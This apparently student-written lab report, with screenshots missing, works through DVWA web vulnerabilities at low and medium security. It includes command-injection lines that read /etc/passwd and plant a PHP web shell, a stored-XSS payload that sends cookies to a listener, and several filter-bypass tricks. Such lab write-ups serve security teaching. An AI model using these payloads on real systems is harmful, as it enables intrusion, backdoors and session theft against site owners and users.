Serikov Ayanbek Assignment 4
Serikov Ayanbek Assignment 4
Serikov Ayanbek Assignment 4
Contents
Security level is low..........................................................................................................................................1
Command injection.......................................................................................................................................2
SQL injection................................................................................................................................................9
SQL Injection (Blind)..................................................................................................................................15
CSRF...........................................................................................................................................................23
DOM Based Cross Site Scripting (XSS).....................................................................................................27
Vulnerability: Reflected Cross Site Scripting (XSS)...................................................................................31
Vulnerability: Stored Cross Site Scripting (XSS)........................................................................................34
Security level is medium.................................................................................................................................37
Command injection.....................................................................................................................................37
SQL injection..............................................................................................................................................42
SQL Injection (Blind)..................................................................................................................................49
CSRF...........................................................................................................................................................53
DOM Based Cross Site Scripting (XSS).....................................................................................................56
Vulnerability: Reflected Cross Site Scripting (XSS)...................................................................................59
Vulnerability: Stored Cross Site Scripting (XSS)........................................................................................61
Pinging
; ls
; cat index.php
; whoami; hostname
; ifconfig; ls../
Echo “String”
cat etc/passwd
reverse shell
reverse shell use
Creating php file
127.0.0.1; echo "<?php system(\$_GET['c']); ?>" >hello.php
Opening php file
Using union
Getting every user
Getting user and database name
Getting version
Getting table name by using union
Getting hostname
SQL Injection (Blind)
Code doesn’t check and filter parameter id. It returns only User ID ‘exists’ or ‘Missing’.
Using Burp Suite
Checking columns
From Burp Suite we know url and cookie, so we can do sqlmap
CSRF
It changes password
I checked it by logging
DOM Based Cross Site Scripting (XSS)
I changed url
Vulnerability: Reflected Cross Site Scripting (XSS)
Simple script
<script> window.location='http://127.0.0.1:1777/?cookie=' + document.cookie </script>. This is
now stored as a comment. When a user navigates to this page, script will execute and send user’s
cookie to the attacker.
Put listener
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
Security level is medium.
Command injection
Seems like blacklist was added. But there are other metacharacters to try such as &
Didn’t work 127.0.0.1; ls
So no column 3
No error. It means it can be ordered by column 2.
SQL Injection (Blind)
So I used sqlmap
CSRF
Looks like it has some security. It checks HTTP referrer and the server name. If the server name is
presented in referrer, password will change.
I opened burp suite and added referrer.
DOM Based Cross Site Scripting (XSS)
It has filter <script>. But we can use <SCRIPT>, <ScRipt> and so on.
Vulnerability: Reflected Cross Site Scripting (XSS)
Capital script worked
Vulnerability: Stored Cross Site Scripting (XSS)